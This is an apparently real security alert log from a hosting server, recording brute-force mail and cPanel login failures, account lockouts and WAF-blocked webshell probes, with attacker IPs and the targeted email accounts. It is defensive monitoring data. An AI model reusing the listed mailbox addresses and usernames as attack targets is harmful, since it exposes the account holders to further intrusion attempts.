# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.148.140.150
country_id: 6252001
description:
[2026-02-01 04:51:32 +0800] info [webmaild] 217.148.140.150 - eeyh@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 04:52:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 04:52:49 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:33630: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-02-01 04:52:55 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:50928: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 04:52:36 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53445: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 04:52:13 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63673: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 04:52:23 dovecot_login authenticator failed for H=(lYM4fRk) [158.94.208.175]:50072: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:52:14 dovecot_login authenticator failed for H=(5FH4NF) [45.94.31.131]:49835: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 04:52:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 04:53:10 dovecot_login authenticator failed for H=(mGQOez7Eik) [158.94.208.175]:55917: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 04:53:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.189
country_id: 6252001
description:
2026-02-01 04:53:20 dovecot_plain authenticator failed for H=([10.30.18.113]) [140.228.24.189]:7017: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 04:53:37 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:10786: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 04:53:07 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:46472: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.177.212
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=17 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:53:16 dovecot_login authenticator failed for H=(GhxQVZ5ts) [45.94.31.131]:59915: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.87
country_id: 1269750
description:
2026-02-01 04:53:19 dovecot_login authenticator failed for H=(nsg-corporate-87.229.187.122.airtel.in) [122.187.229.87]:51508: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 04:53:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56556: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-02-01 04:53:11 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:54143: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.83.41.60
country_id: 3469034
description:
2026-02-01 04:54:09 dovecot_login authenticator failed for H=(170-83-41-60.swtelecom.com.br) [170.83.41.60]:53872: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 04:54:12 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:56194: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:54:16 dovecot_login authenticator failed for H=(GzWFyyVBSn) [45.94.31.131]:63069: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 04:54:23 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58780: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.189
country_id: 6252001
description:
2026-02-01 04:54:01 dovecot_plain authenticator failed for H=([10.30.18.113]) [140.228.24.189]:3681: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.128.15.127
country_id: 1814991
description:
2026-02-01 04:54:17 dovecot_login authenticator failed for H=([222.128.15.127]) [222.128.15.127]:39112: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 04:54:21 dovecot_login authenticator failed for H=(ytY6W8pOE) [158.94.208.175]:61196: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:55:17 dovecot_login authenticator failed for H=(6s5d88) [45.94.31.131]:54147: 535 Incorrect authentication data (set_id=astpkg)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.48
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/asia/images/contact.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.107.6
country_id: 290557
description:
2026-02-01 04:55:04 dovecot_plain authenticator failed for H=(bulutte) [5.32.107.6]:44670: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 04:55:08 dovecot_login authenticator failed for H=(n28iSBwQ) [158.94.208.175]:51572: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.29.104.32
country_id: 6252001
description:
2026-02-01 04:56:48 dovecot_login authenticator failed for H=32.104.29.34.bc.googleusercontent.com [34.29.104.32]:39032: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-02-01 04:56:56 dovecot_login authenticator failed for H=(c-50-188-204-213.unallocated.comcastbusiness.net) [50.188.204.213]:55712: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 04:56:18 dovecot_login authenticator failed for H=(4E1GWXf) [158.94.208.175]:50813: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.232.215.160
country_id: 3469034
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/index.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.115.113.138
country_id: 1814991
description:
2026-02-01 04:56:19 dovecot_login authenticator failed for H=([27.115.113.138]) [27.115.113.138]:59138: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 04:56:34 dovecot_login authenticator failed for H=(LupbjSW) [84.239.7.19]:30708: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.254.91
country_id: 3865483
description:
2026-02-01 04:56:44 dovecot_login authenticator failed for H=(static.94.254.104.190.cps.com.ar) [190.104.254.91]:57705: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-02-01 04:56:56 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:38626: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:56:17 dovecot_login authenticator failed for H=(S6VasbSqh8) [45.94.31.131]:50544: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 04:57:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 04:57:25 dovecot_login authenticator failed for H=(TuyFZp3) [178.16.54.22]:61839: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 04:57:27 dovecot_login authenticator failed for H=(cnQfA1) [84.239.7.19]:48283: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 04:57:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 04:57:04 dovecot_login authenticator failed for H=(eYLWQdY2Mm) [158.94.208.175]:49647: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-02-01 04:57:22 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:24544: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:57:16 dovecot_login authenticator failed for H=(vdfzWK4nmB) [45.94.31.131]:58095: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 04:58:46 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:48548: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:59:01 dovecot_login authenticator failed for H=(AcVzOwuw) [45.94.31.131]:55202: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 04:58:13 dovecot_login authenticator failed for H=(IBHI4Qu5) [158.94.208.175]:64585: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.108
country_id: 1814991
description:
2026-02-01 04:58:25 dovecot_login authenticator failed for H=([111.61.97.108]) [111.61.97.108]:60678: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-01 04:58:26 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:41454: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 04:58:11 dovecot_login authenticator failed for H=(aXqj4iXZ6) [178.16.54.22]:49347: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 04:58:10 dovecot_login authenticator failed for H=(z07QW7) [84.239.7.19]:1139: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 04:58:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 04:58:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.36
country_id: 2245662
description:
2026-02-01 04:58:17 dovecot_login authenticator failed for H=([213.154.80.21]) [213.154.80.36]:50227: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.162.20
country_id: 1835841
description:
2026-02-01 04:58:25 dovecot_login authenticator failed for H=([1.241.162.20]) [1.241.162.20]:33702: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:58:21 dovecot_login authenticator failed for H=(BYfVgj) [45.94.31.131]:60987: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 04:58:45 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50007: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 04:59:16 dovecot_login authenticator failed for H=(UvvzeLB) [84.239.7.19]:35521: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 04:59:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 04:59:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65131: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-02-01 04:59:53 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:45283: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 04:59:21 dovecot_login authenticator failed for H=(7ryU4rT) [45.94.31.131]:58932: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.245
country_id: 1814991
description:
2026-02-01 04:59:31 dovecot_login authenticator failed for H=([111.61.176.245]) [111.61.176.245]:18292: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.73.3
country_id: 1819730
description:
2026-02-01 04:59:37 dovecot_login authenticator failed for H=42-200-73-3.static.imsbiz.com [42.200.73.3]:50463: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 04:59:48 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 04:59:03 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54596: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 04:59:20 dovecot_login authenticator failed for H=(UW2IBI) [178.16.54.22]:60936: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 04:59:21 dovecot_login authenticator failed for H=(qAr61e5L3) [158.94.208.175]:53856: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.234
country_id: 1733045
description:
2026-02-01 04:59:49 dovecot_login authenticator failed for H=([49.124.152.234]) [49.124.152.234]:60536: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 04:59:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.138.53.19
country_id: 1643084
description:
2026-02-01 04:59:24 dovecot_login authenticator failed for H=([103.138.53.19]) [103.138.53.19]:37909: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.196.96
country_id: 3469034
description:
2026-02-01 05:00:01 dovecot_login authenticator failed for H=(96.196.181.45.datasysteminfor.com.br) [45.181.196.96]:47495: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:00:06 dovecot_login authenticator failed for H=(DhwfLGzUG) [178.16.54.22]:54939: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:00:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:00:11 dovecot_login authenticator failed for H=(PTRjpoM) [84.239.7.19]:4909: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:00:21 dovecot_login authenticator failed for H=(CBvqJXCv) [45.94.31.131]:58196: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:00:08 dovecot_login authenticator failed for H=(EdmEWDuub) [158.94.208.175]:56040: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:00:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.145
country_id: 1819730
description:
2026-02-01 05:00:53 dovecot_login authenticator failed for H=145.47.246.220.static.netvigator.com [220.246.47.145]:55478: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:00:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62352: 535 Incorrect authentication data (set_id=test@wohcheong.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:00:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:00:21 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61301: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.54
country_id: 1149361
description:
2026-02-01 05:00:26 dovecot_login authenticator failed for H=([149.54.62.54]) [149.54.62.54]:40635: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:01:12 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59759: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:01:15 dovecot_login authenticator failed for H=(g77YRM) [178.16.54.22]:63462: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.234
country_id: 1835841
description:
2026-02-01 05:01:40 dovecot_login authenticator failed for H=([210.206.24.238]) [210.206.24.234]:2222: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:01:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:01:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:01:22 dovecot_login authenticator failed for H=(Mp020K2) [45.94.31.131]:51300: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.235.154.114
country_id: 1814991
description:
2026-02-01 05:01:55 dovecot_login authenticator failed for H=([221.235.154.114]) [221.235.154.114]:57870: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:01:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:01:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:01:14 dovecot_login authenticator failed for H=(70VWIDkN) [84.239.7.19]:7103: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:01:18 dovecot_login authenticator failed for H=(lJTFrW) [158.94.208.175]:56082: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.16.167.226
country_id: 953987
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/nexuscollection.com/products/officechair/strand/strand.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:01:42 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49340: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:01:55 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59404: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:02:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:02:23 dovecot_login authenticator failed for H=(SZUZG1I0) [84.239.7.19]:25316: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2026-02-01 05:02:32 dovecot_login authenticator failed for H=([39.165.183.70]) [39.165.183.70]:59974: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:02:56 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:52272: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:02:24 dovecot_login authenticator failed for H=(WCBlskek) [178.16.54.22]:63197: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:02:02 dovecot_login authenticator failed for H=(Mib1jomNEd) [45.94.31.131]:50181: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:02:05 dovecot_login authenticator failed for H=(OI8MJPV7NN) [158.94.208.175]:51605: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:02:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:03:10 dovecot_login authenticator failed for H=(WX74Lbv) [178.16.54.22]:55108: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:03:05 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54509: 535 Incorrect authentication data (set_id=test@symphony-led.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:03:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
